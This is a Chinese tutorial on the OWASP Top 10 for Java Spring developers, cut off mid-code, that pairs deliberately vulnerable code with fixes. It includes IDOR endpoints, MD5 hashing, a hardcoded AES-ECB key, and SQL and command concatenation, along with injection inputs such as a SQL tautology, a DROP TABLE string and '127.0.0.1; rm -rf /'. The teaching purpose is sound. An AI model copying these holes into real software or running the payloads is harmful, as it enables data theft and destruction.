Java作为企业级开发的主流语言,广泛应用于金融、电商、政务等核心系统,一旦出现安全漏洞,会直接造成数据泄露、资产损失、合规处罚等严重后果。OWASP(开放式Web应用安全项目)发布的Top10榜单,是全球公认的Web应用安全风险权威指南,也是Java开发者必须掌握的安全核心知识。
一、失效的访问控制(Broken Access Control)
失效的访问控制位列OWASP Top10 2021榜首,是企业级应用最常见的安全风险。访问控制的核心是“用户不能执行超出其权限的操作”,而失效的本质是权限校验逻辑被绕过或失效,导致越权操作。
底层原理
先明确两个核心概念的边界:认证是验证“你是谁”,授权是验证“你能做什么” ,访问控制属于授权环节。其失效的底层逻辑是:服务端没有对每一个受保护的接口/资源,执行基于用户身份的、不可绕过的权限校验,仅依赖前端隐藏按钮、路由拦截等客户端控制,或权限校验逻辑存在可被利用的缺陷。
常见的失效场景分为三类:
- 水平越权:同角色用户访问他人的私有数据,比如用户A查看用户B的订单
- 垂直越权:普通用户访问管理员专属功能,比如普通用户获取全量用户列表
- 未授权访问:直接绕过登录,访问需要权限的接口或资源
漏洞复现
1. 水平越权漏洞示例
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/api/order")
public class OrderController {
private final OrderService orderService;
public OrderController(OrderService orderService) {
this.orderService = orderService;
}
// 漏洞点:仅从路径获取订单ID,未校验当前登录用户是否为订单所属人
@GetMapping("/{orderId}")
public Order getOrderDetail(@PathVariable Long orderId) {
return orderService.getOrderById(orderId);
}
}
攻击者只需修改路径中的orderId,即可遍历查询所有用户的订单数据,造成敏感信息泄露。
2. 垂直越权漏洞示例
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
@RestController
@RequestMapping("/api/admin")
public class AdminController {
private final UserService userService;
public AdminController(UserService userService) {
this.userService = userService;
}
// 漏洞点:未做任何权限校验,任何登录用户都能访问管理员接口
@GetMapping("/users")
public List<User> getAllUserList() {
return userService.getAllUsers();
}
}
漏洞触发流程
防护方案
1. 服务端强制权限校验
所有接口必须在服务端执行权限校验,绝对不能仅依赖前端控制。修复水平越权的正确代码如下:
import org.springframework.security.core.Authentication;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/api/order")
public class OrderController {
private final OrderService orderService;
public OrderController(OrderService orderService) {
this.orderService = orderService;
}
// 修复方案:从当前登录上下文获取用户ID,联合订单ID查询,确保订单归属
@GetMapping("/{orderId}")
public Order getOrderDetail(@PathVariable Long orderId, Authentication authentication) {
Long loginUserId = Long.valueOf(authentication.getName());
return orderService.getOrderByIdAndUserId(orderId, loginUserId);
}
}
对应DAO层必须使用select * from t_order where id = #{orderId} and user_id = #{userId}的查询逻辑,不能仅通过订单ID查询。
2. 基于RBAC的统一权限控制
使用Spring Security等成熟安全框架,实现基于角色的访问控制(RBAC),从框架层面统一管理接口权限,避免人为疏漏。Spring Security 6的标准配置如下:
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.web.SecurityFilterChain;
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/api/auth/**").permitAll()
.requestMatchers("/api/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
)
.csrf(csrf -> csrf.disable());
return http.build();
}
}
3. 核心防护原则
- 最小权限原则:仅给用户分配完成业务所需的最小权限,默认拒绝所有访问,仅开放必要接口
- 禁止路径穿越:文件下载、静态资源访问接口,必须限制访问范围,禁止直接拼接用户传入的路径参数
- 统一权限校验:避免每个接口单独编写权限校验逻辑,使用框架层面的统一拦截器或AOP实现
二、加密机制失效(Cryptographic Failures)
加密机制失效位列OWASP Top10 2021第二位,其前身是“敏感数据泄露”,更名的核心原因是:敏感数据泄露的根源,几乎都是加密机制的设计或实现存在缺陷。
底层原理
加密机制失效的本质是:应用在处理敏感数据(密码、手机号、身份证、银行卡等)的全生命周期(传输、存储、使用、销毁)中,没有遵循密码学最佳实践,使用了不安全的算法、弱密钥、错误的加密模式,或未对敏感数据做分类分级保护,导致敏感数据被明文暴露、破解或篡改。
漏洞复现
1. 不安全的密码存储示例
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.security.MessageDigest;
@RestController
@RequestMapping("/api/auth")
public class AuthController {
private final UserService userService;
public AuthController(UserService userService) {
this.userService = userService;
}
// 漏洞点:使用已被破解的MD5算法加密密码,可通过彩虹表快速反查
@PostMapping("/register")
public String register(@RequestBody UserRegisterDTO dto) throws Exception {
MessageDigest md = MessageDigest.getInstance("MD5");
byte[] hash = md.digest(dto.getPassword().getBytes());
StringBuilder hexString = new StringBuilder();
for (byte b : hash) {
String hex = Integer.toHexString(0xff & b);
if (hex.length() == 1) hexString.append('0');
hexString.append(hex);
}
User user = new User();
user.setUsername(dto.getUsername());
user.setPassword(hexString.toString());
userService.save(user);
return "注册成功";
}
}
2. 不安全的对称加密示例
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
public class InsecureAESUtil {
// 漏洞点1:硬编码密钥在代码中,代码泄露直接导致密钥暴露
private static final String FIXED_KEY = "1234567890123456";
// 漏洞点2:使用ECB模式,不提供语义安全性,相同明文加密结果一致,易被破解
private static final String ALGORITHM = "AES/ECB/PKCS5Padding";
public static String encrypt(String content) throws Exception {
SecretKeySpec keySpec = new SecretKeySpec(FIXED_KEY.getBytes(), "AES");
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, keySpec);
byte[] encrypted = cipher.doFinal(content.getBytes());
return Base64.getEncoder().encodeToString(encrypted);
}
public static String decrypt(String encryptedContent) throws Exception {
SecretKeySpec keySpec = new SecretKeySpec(FIXED_KEY.getBytes(), "AES");
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, keySpec);
byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(encryptedContent));
return new String(decrypted);
}
}
防护方案
1. 密码存储的正确实践
密码属于不可逆敏感数据,绝对不能明文存储,也不能使用MD5、SHA-1、SHA-256等快速哈希算法,必须使用BCrypt、SCrypt、Argon2等专为密码存储设计的慢哈希算法,这类算法自带随机盐值,计算速度慢,能有效抵御彩虹表和暴力破解。
Spring Security标准密码加密配置:
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
@Configuration
public class PasswordConfig {
// 工作因子设为12,可根据服务器性能调整,数值越大破解难度越高
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12);
}
}
正确的密码处理代码:
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/api/auth")
public class AuthController {
private final UserService userService;
private final PasswordEncoder passwordEncoder;
public AuthController(UserService userService, PasswordEncoder passwordEncoder) {
this.userService = userService;
this.passwordEncoder = passwordEncoder;
}
@PostMapping("/register")
public String register(@RequestBody UserRegisterDTO dto) {
User user = new User();
user.setUsername(dto.getUsername());
// BCrypt自带随机盐值,每次加密相同密码生成的哈希值均不同
user.setPassword(passwordEncoder.encode(dto.getPassword()));
userService.save(user);
return "注册成功";
}
@PostMapping("/login")
public String login(@RequestBody UserLoginDTO dto) {
User user = userService.findByUsername(dto.getUsername());
if (user == null) {
return "用户名或密码错误";
}
// 无需手动解密,使用matches方法自动校验密码
if (!passwordEncoder.matches(dto.getPassword(), user.getPassword())) {
return "用户名或密码错误";
}
return "登录成功";
}
}
2. 对称加密的正确实践
对于需要解密还原的敏感数据(如手机号、身份证号),必须使用AES-GCM认证加密模式,该模式同时提供加密和完整性校验能力,密钥长度至少256位,密钥必须从配置中心或密钥管理服务(KMS)获取,绝对不能硬编码。
安全的AES-GCM工具类:
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;
import java.util.Base64;
public class SecureAESUtil {
private static final String ALGORITHM = "AES/GCM/NoPadding";
private static final int KEY_SIZE = 256;
private static final int GCM_IV_LENGTH = 12;
private static final int GCM_TAG_LENGTH = 128;
private final SecretKey secretKey;
// 密钥从配置中心/KMS获取,禁止硬编码
public SecureAESUtil(String base64Key) {
byte[] keyBytes = Base64.getDecoder().decode(base64Key);
this.secretKey = new SecretKeySpec(keyBytes, "AES");
}
// 生成256位安全密钥,仅用于初始化密钥时使用
public static String generateAESKey() throws Exception {
KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
keyGenerator.init(KEY_SIZE, SecureRandom.getInstanceStrong());
SecretKey secretKey = keyGenerator.generateKey();
return Base64.getEncoder().encodeToString(secretKey.getEncoded());
}
public String encrypt(String content) throws Exception {
byte[] contentBytes = content.getBytes();
// 生成12字节随机IV,GCM标准推荐长度
byte[] iv = new byte[GCM_IV_LENGTH];
SecureRandom secureRandom = SecureRandom.getInstanceStrong();
secureRandom.nextBytes(iv);
GCMParameterSpec parameterSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.ENCRYPT_MODE, secretKey, parameterSpec);
byte[] encrypted = cipher.doFinal(contentBytes);
// IV无需保密,和密文拼接存储,解密时使用
byte[] combined = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, combined, 0, iv.length);
System.arraycopy(encrypted, 0, combined, iv.length, encrypted.length);
return Base64.getEncoder().encodeToString(combined);
}
public String decrypt(String encryptedContent) throws Exception {
byte[] combined = Base64.getDecoder().decode(encryptedContent);
// 提取前12字节IV
byte[] iv = new byte[GCM_IV_LENGTH];
System.arraycopy(combined, 0, iv, 0, iv.length);
// 提取加密内容
byte[] encrypted = new byte[combined.length - iv.length];
System.arraycopy(combined, iv.length, encrypted, 0, encrypted.length);
GCMParameterSpec parameterSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, secretKey, parameterSpec);
byte[] decrypted = cipher.doFinal(encrypted);
return new String(decrypted);
}
}
3. 核心防护原则
- 敏感数据分类分级:非必要不采集、不存储敏感数据,对不同级别的敏感数据采用差异化保护策略
- 传输层加密:全站启用HTTPS,使用TLS 1.3协议,禁用TLS 1.0/1.1等不安全协议
- 敏感数据脱敏:日志、接口返回、前端展示时,对敏感数据做脱敏处理,示例如下:
public class SensitiveDataUtil {
// 手机号脱敏:保留前3位和后4位
public static String maskPhone(String phone) {
if (phone == null || phone.length() != 11) return phone;
return phone.replaceAll("(\d{3})\d{4}(\d{4})", "$1****$2");
}
// 身份证号脱敏:保留前6位和后4位
public static String maskIdCard(String idCard) {
if (idCard == null || idCard.length() != 18) return idCard;
return idCard.replaceAll("(\d{6})\d{8}(\d{4})", "$1********$2");
}
}
- 禁用不安全算法:JVM层面禁用MD5、SHA-1、DES、3DES、RC4等已被破解的算法
三、注入攻击(Injection)
注入攻击位列OWASP Top10 2021第三位,最常见的类型为SQL注入,同时包含命令注入、EL表达式注入、OGNL注入等多种形式,是历史最悠久、危害最严重的安全漏洞之一。
底层原理
注入攻击的核心本质是数据和指令没有分离,应用将用户可控的输入未经校验和转义,直接拼接到命令或查询语句中,作为指令的一部分执行,导致攻击者可以构造恶意输入,改变原有语句的执行逻辑,执行非授权操作。
漏洞复现
1. SQL注入漏洞示例
最基础的Statement拼接SQL场景:
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
@RestController
@RequestMapping("/api/user")
public class UserController {
private final String DB_URL = "jdbc:mysql://localhost:3306/test";
private final String DB_USER = "root";
private final String DB_PASSWORD = "root";
// 漏洞点:用户输入的username直接拼接到SQL语句,无任何转义
@GetMapping("/list")
public List<User> getUserList(@RequestParam String username) throws Exception {
List<User> userList = new ArrayList<>();
Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
Statement stmt = conn.createStatement();
String sql = "SELECT id, username, phone FROM t_user WHERE username = '" + username + "'";
ResultSet rs = stmt.executeQuery(sql);
while (rs.next()) {
User user = new User();
user.setId(rs.getLong("id"));
user.setUsername(rs.getString("username"));
user.setPhone(rs.getString("phone"));
userList.add(user);
}
rs.close();
stmt.close();
conn.close();
return userList;
}
}
攻击者输入' OR '1'='1,拼接后的SQL变为SELECT id, username, phone FROM t_user WHERE username = '' OR '1'='1',会查询出全量用户数据,造成脱库;输入'; DROP TABLE t_user; --可直接删除数据表。
MyBatis中错误使用${}的场景:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.mapper.UserMapper">
<!-- 漏洞点:使用${}直接拼接用户输入,无转义处理 -->
<select id="getUserByUsername" resultType="com.example.entity.User">
SELECT id, username, phone FROM t_user WHERE username = ${username}
</select>
<!-- 漏洞点:排序字段使用${},无白名单校验 -->
<select id="getUserListOrderBy" resultType="com.example.entity.User">
SELECT id, username, phone FROM t_user ORDER BY ${orderBy} ${sortType}
</select>
</mapper>
2. 命令注入漏洞示例
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.InputStreamReader;
@RestController
@RequestMapping("/api/system")
public class SystemController {
// 漏洞点:用户输入的ip直接拼接到系统命令,无任何校验
@GetMapping("/ping")
public String ping(@RequestParam String ip) throws Exception {
Process process = Runtime.getRuntime().exec("ping -c 4 " + ip);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder result = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}
return result.toString();
}
}
攻击者输入127.0.0.1; rm -rf /,会执行ping -c 4 127.0.0.1; rm -rf /,删除服务器所有文件,造成毁灭性后果。
漏洞触发与防护流程
防护方案
1. SQL注入的核心防护
使用预编译语句是SQL注入最根本的防护方案,预编译会将SQL语句的结构和参数完全分离,用户输入的参数只会被当作数据处理,不会改变SQL语句的结构。
正确的PreparedStatement示例:
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.util.ArrayList;
import java.util.List;
@RestController
@RequestMapping("/api/user")
public class UserController {
private final String DB_URL = "jdbc:mysql://localhost:3306/test";
private final String DB_USER = "root";
private final String DB_PASSWORD = "root";
@GetMapping("/list")
public List<User> getUserList(@RequestParam String username) throws Exception {
List<User> userList = new ArrayList<>();
Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
// 预编译SQL,参数用?占位
String sql = "SELECT id, username, phone FROM t_user WHERE username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
// 设置参数,PreparedStatement会自动转义特殊字符
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();
while (rs.next()) {
User user = new User();
user.setId(rs.getLong("id"));
user.setUsername(rs.getString("username"));
user.setPhone(rs.getString("phone"));
userList.add(user);
}
rs.close();
pstmt.close();
conn.close();
return userList;
}
}
MyBatis的正确使用规范:
- 优先使用
#{},#{}会采用预编译处理,自动转义特殊字符,从根源上避免SQL注入 - 必须使用
${}的场景(如排序字段、表名),必须做严格的白名单校验,仅允许预设的合法值
正确的Mapper.xml与配套校验代码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.mapper.UserMapper">
<select id="getUserByUsername" resultType="com.example.entity.User">
SELECT id, username, phone FROM t_user WHERE username = #{username}
</select>
<select id="getUserListOrderBy" resultType="com.example.entity.User">
SELECT id, username, phone FROM t_user ORDER BY ${orderBy} ${sortType}
</select>
</mapper>
import org.springframework.stereotype.Service;
import java.util.Arrays;
import java.util.List;
@Service
public class UserService {
private final UserMapper userMapper;
// 排序字段白名单
private static final List<String> ALLOWED_ORDER_FIELDS = Arrays.asList("id", "username", "create_time");
// 排序类型白名单
private static final List<String> ALLOWED_SORT_TYPES = Arrays.asList("ASC", "DESC");
public UserService(UserMapper userMapper) {
this.userMapper = userMapper;
}
public List<User> getUserListOrderBy(String orderBy, String sortType) {
// 白名单校验,非法参数直接抛出异常
if (!ALLOWED_ORDER_FIELDS.contains(orderBy)) {
throw new IllegalArgumentException("非法的排序字段");
}
if (!ALLOWED_SORT_TYPES.contains(sortType.toUpperCase())) {
throw new IllegalArgumentException("非法的排序类型");
}
return userMapper.getUserListOrderBy(orderBy, sortType);
}
}
2. 命令注入的核心防护
- 优先使用Java API替代系统命令,如ping操作可使用
InetAddress.isReachable()实现,无需执行系统命令 - 必须执行系统命令时,使用
ProcessBuilder将命令和参数完全分离,避免shell解析 - 对用户输入做严格的白名单校验,仅允许合法字符,禁止出现分号、&、|等特殊字符
正确的命令执行示例:
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.regex.Pattern;
@RestController
@RequestMapping("/api/system")
public class SystemController {
// IP地址正则白名单,仅允许合法IP格式
private static final Pattern IP_PATTERN = Pattern.compile("^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$");
@GetMapping("/ping")
public String ping(@RequestParam String ip) throws Exception {
// 第一步:严格校验输入格式
if (!IP_PATTERN.matcher(ip).matches()) {
throw new IllegalArgumentException("非法的IP地址");
}
// 第二步:使用ProcessBuilder分离命令和参数,避免shell解析
ProcessBuilder processBuilder = new ProcessBuilder("ping", "-c", "4", ip);
processBuilder.redirectErrorStream(true);
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder result = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}
return result.toString();
}
}
3. 核心防护原则
- 永远不要信任用户输入,所有用户可控的参数都必须做校验和处理
- 输入校验采用白名单原则,仅允许合法的字符和格式,拒绝所有非法输入
- 数据库账号遵循最小权限原则,仅给业务必需的权限,禁止给DROP、ALTER等高危权限
四、不安全的设计(Insecure Design)
不安全的设计是OWASP Top10 2021新增的核心类别,位列第四,也是很多开发者最容易忽略的风险。它与代码实现缺陷不同,指的是应用在设计阶段就存在根本性的安全缺陷,即使代码写得再规范,也无法避免安全问题。
底层原理
不安全的设计的核心本质是:安全是设计出来的,不是后期补出来的。应用在需求分析、架构设计、业务流程设计阶段,没有融入安全思维,缺少安全设计模式、威胁建模和必要的安全控制,导致应用天生就存在安全缺陷,后期的代码实现无法弥补根本性的设计漏洞。
常见的不安全设计场景:
- 业务流程设计缺陷,如密码找回流程可被绕过,攻击者可重置任意用户密码
- 缺少防暴力破解、防重放攻击的设计
- 敏感操作没有二次身份校验
- 信任前端传入的核心参数,服务端未做重新校验
- 未做威胁建模,未识别业务中的核心安全风险
漏洞复现
最常见的密码找回流程设计缺陷:
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpSession;
@RestController
@RequestMapping("/api/auth")
public class PasswordResetController {
private final UserService userService;
private final SmsService smsService;
public PasswordResetController(UserService userService, SmsService smsService) {
this.userService = userService;
this.smsService = smsService;
}
@PostMapping("/send-reset-code")
public String sendResetCode(@RequestBody SendCodeDTO dto, HttpSession session) {
String phone = dto.getPhone();
String code = smsService.generateCode();
smsService.sendSms(phone, "您的密码重置验证码是:" + code);
session.setAttribute("reset_code_" + phone, code);
return "验证码发送成功";
}
// 核心设计缺陷:
// 1. 未校验手机号与验证码的归属,攻击者可用自己的验证码修改他人密码
// 2. 验证码使用后未失效,可重复使用
// 3. 无有效期、发送频率限制,可暴力枚举
@PostMapping("/reset-password")
public String resetPassword(@RequestBody ResetPasswordDTO dto, HttpSession session) {
String phone = dto.getPhone();
String inputCode = dto.getCode();
String newPassword = dto.getNewPassword();
String correctCode = (String) session.getAttribute("reset_code_" + phone);
if (correctCode == null || !correctCode.equals(inputCode)) {
return "验证码错误";
}
User user = userService.findByPhone(phone);
if (user == null) {
return "用户不存在";
}
user.setPassword(newPassword);
userService.save(user);
return "密码重置成功";
}
}
安全的业务流程设计
防护方案
1. 安全的密码找回流程实现
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.concurrent.TimeUnit;
@RestController
@RequestMapping("/api/auth")
public class PasswordResetController {
private final UserService userService;
private final SmsService smsService;
private final RedisTemplate<String, String> redisTemplate;
private final PasswordEncoder passwordEncoder;
private static final String RESET_CODE_PREFIX = "reset_code:";
private static final long CODE_EXPIRE_MINUTES = 5;
private static final String SEND_LIMIT_PREFIX = "send_limit:";
private static final long SEND_INTERVAL_SECONDS = 60;
private static final int MAX_SEND_COUNT_PER_HOUR = 5;
private static final String SEND_COUNT_PREFIX = "send_count:";
public PasswordResetController(UserService userService, SmsService smsService, RedisTemplate<String, String> redisTemplate, PasswordEncoder passwordEncoder) {
this.userService = userService;
this.smsService = smsService;
this.redisTemplate = redisTemplate;
this.passwordEncoder = passwordEncoder;
}
@PostMapping("/send-reset-code")
public String sendResetCode(@RequestBody SendCodeDTO dto) {
String phone = dto.getPhone();
// 1. 校验手机号是否注册
User user = userService.findByPhone(phone);
if (user == null) {
return "该手机号未注册";
}
// 2. 校验发送频率,1分钟内仅可发送1次
String intervalKey = SEND_LIMIT_PREFIX + phone;
if (Boolean.TRUE.equals(redisTemplate.hasKey(intervalKey))) {
return "验证码发送太频繁,请稍后再试";
}
// 3. 校验1小时内发送次数,最多5次
String countKey = SEND_COUNT_PREFIX + phone;
Long count = redisTemplate.opsForValue().increment(countKey);
if (count == 1) {
redisTemplate.expire(countKey, 1, TimeUnit.HOURS);
}
if (count > MAX_SEND_COUNT_PER_HOUR) {
return "该手机号今日获取验证码次数已达上限,请24小时后再试";
}
// 4. 生成6位数字验证码
String code = smsService.generate6DigitCode();
// 5. 存储验证码到Redis,设置5分钟有效期
String codeKey = RESET_CODE_PREFIX + phone;
redisTemplate.opsForValue().set(codeKey, code, CODE_EXPIRE_MINUTES, TimeUnit.MINUTES);
// 6. 设置发送频率限制
redisTemplate.opsForValue().set(intervalKey, "1", SEND_INTERVAL_SECONDS, TimeUnit.SECONDS);
// 7. 发送短信
smsService.sendSms(phone, "您的密码重置验证码是:" + code + ",有效期5分钟,请勿泄露给他人");
return "验证码发送成功";
}
@PostMapping("/reset-password")
public String resetPassword(@RequestBody ResetPasswordDTO dto) {
String phone = dto.getPhone();
String inputCode = dto.getCode();
String newPassword = dto.getNewPassword();
// 1. 校验参数合法性
if (phone == null || inputCode == null || newPassword == null) {
return "参数不完整";
}
// 2. 从Redis获取正确的验证码
String codeKey = RESET_CODE_PREFIX + phone;
String correctCode = redisTemplate.opsForValue().get(codeKey);
if (correctCode == null) {
return "验证码已过期,请重新获取";
}
// 3. 校验验证码是否正确
if (!correctCode.equals(inputCode)) {
return "验证码错误";
}
// 4. 校验通过后立即删除验证码,确保仅可使用一次
redisTemplate.delete(codeKey);
// 5. 校验用户是否存在
User user = userService.findByPhone(phone);
if (user == null) {
return "用户不存在";
}
// 6. 校验密码复杂度
if (!checkPasswordComplexity(newPassword)) {
return "密码复杂度不符合要求,需包含大小写字母、数字和特殊字符,长度至少8位";
}
// 7. 加密新密码并更新
user.setPassword(passwordEncoder.encode(newPassword));
userService.save(user);
// 8. 注销该用户所有登录token,强制重新登录
userService.logoutAllDevices(user.getId());
// 9. 发送密码修改通知
smsService.sendSms(phone, "您的账号密码已成功修改,如非本人操作,请立即联系客服");
return "密码重置成功,请使用新密码登录";
}
private boolean checkPasswordComplexity(String password) {
if (password.length() < 8) return false;
boolean hasUpper = false, hasLower = false, hasDigit = false, hasSpecial = false;
for (char c : password.toCharArray()) {
if (Character.isUpperCase(c)) hasUpper = true;
else if (Character.isLowerCase(c)) hasLower = true;
else if (Character.isDigit(c)) hasDigit = true;
else hasSpecial = true;
}
return hasUpper && hasLower && hasDigit && hasSpecial;
}
}
2. 核心防护原则
- 安全左移:在需求分析、设计阶段就融入安全思维,开展威胁建模,识别业务中的安全风险
- 核心敏感操作二次校验:转账、修改密码、注销账号等敏感操作,必须做二次身份校验
- 防暴力破解设计:登录、验证码等接口必须做频率限制、账号锁定、验证码机制
- 防重放攻击设计:核心接口必须设计幂等性机制,使用唯一订单号、nonce+时间戳确保请求仅可执行一次
- 最小权限原则:架构设计、业务设计中,始终遵循最小权限原则,仅开放必要的功能和权限
五、安全配置错误(Security Misconfiguration)
安全配置错误位列OWASP Top10 2021第五位,是最普遍的安全风险,超过80%的应用都存在不同程度的安全配置错误。
底层原理
安全配置错误的本质是:应用、服务器、数据库、中间件、框架等全链路的配置不符合安全要求,使用了不安全的默认配置,或缺少必要的安全配置,导致应用暴露在安全风险中。安全是一个全链路的体系,任何一个环节的配置错误,都可能导致整个安全防线被突破。
常见的安全配置错误场景:
- 使用默认账号和密码,如Tomcat管理账号、数据库默认root密码
- 对外暴露Spring Boot Actuator敏感端点、Swagger文档等内部资源
- 跨域配置错误,设置
Access-Control-Allow-Origin: *允许所有域名跨域访问 - 错误页面返回完整堆栈信息,泄露应用路径、框架版本等敏感信息
- 未配置HTTP安全响应头,导致XSS、点击劫持等攻击
- 云服务存储桶设置为公开访问,导致敏感数据泄露
漏洞复现
1. Spring Boot Actuator端点对外暴露
management:
endpoints:
web:
exposure:
include: "*" # 暴露所有Actuator端点
endpoint:
env:
enabled: true
heapdump:
enabled: true
/env端点会泄露数据库密码、密钥等所有配置信息,/heapdump端点可下载应用堆内存快照,攻击者可从中提取所有敏感信息。
2. 不安全的跨域配置
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.CorsRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/**")
.allowedOriginPatterns("*") // 允许所有域名
.allowedMethods("*") // 允许所有HTTP方法
.allowCredentials(true) // 允许携带Cookie
.maxAge(3600);
}
}
该配置允许所有域名携带Cookie跨域访问,攻击者可在恶意网站构造跨域请求,获取用户登录后的敏感数据,执行CSRF攻击。
防护方案
1. 最小化配置原则
关闭所有不必要的功能、端口、端点,仅保留业务必需的能力。Spring Boot Actuator的安全配置示例:
management:
endpoints:
web:
exposure:
include: health # 仅暴露健康检查端点
endpoint:
health:
show-details: never # 对外仅返回up/down状态,不展示详细信息
server:
port: 8081 # 单独设置Actuator端口,与业务端口分离,仅对内网开放
2. 安全的跨域配置
严格限制允许跨域的域名,绝对禁止使用*,仅允许业务需要的域名:
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.CorsRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class CorsConfig implements WebMvcConfigurer {
private static final String[] ALLOWED_ORIGINS = {
"https://www.example.com",
"https://admin.example.com"
};
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/**")
.allowedOriginPatterns(ALLOWED_ORIGINS) // 仅允许白名单内的域名
.allowedMethods("GET", "POST", "PUT", "DELETE") // 仅允许业务必需的HTTP方法
.allowedHeaders("*")
.allowCredentials(true)
.maxAge(3600);
}
}
3. 关闭错误页面的详细堆栈信息
生产环境禁止返回详细异常信息,仅返回通用错误提示,配置如下:
server:
error:
include-stacktrace: never # 生产环境永远不返回堆栈信息
同时使用全局异常处理器统一处理异常:
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@RestControllerAdvice
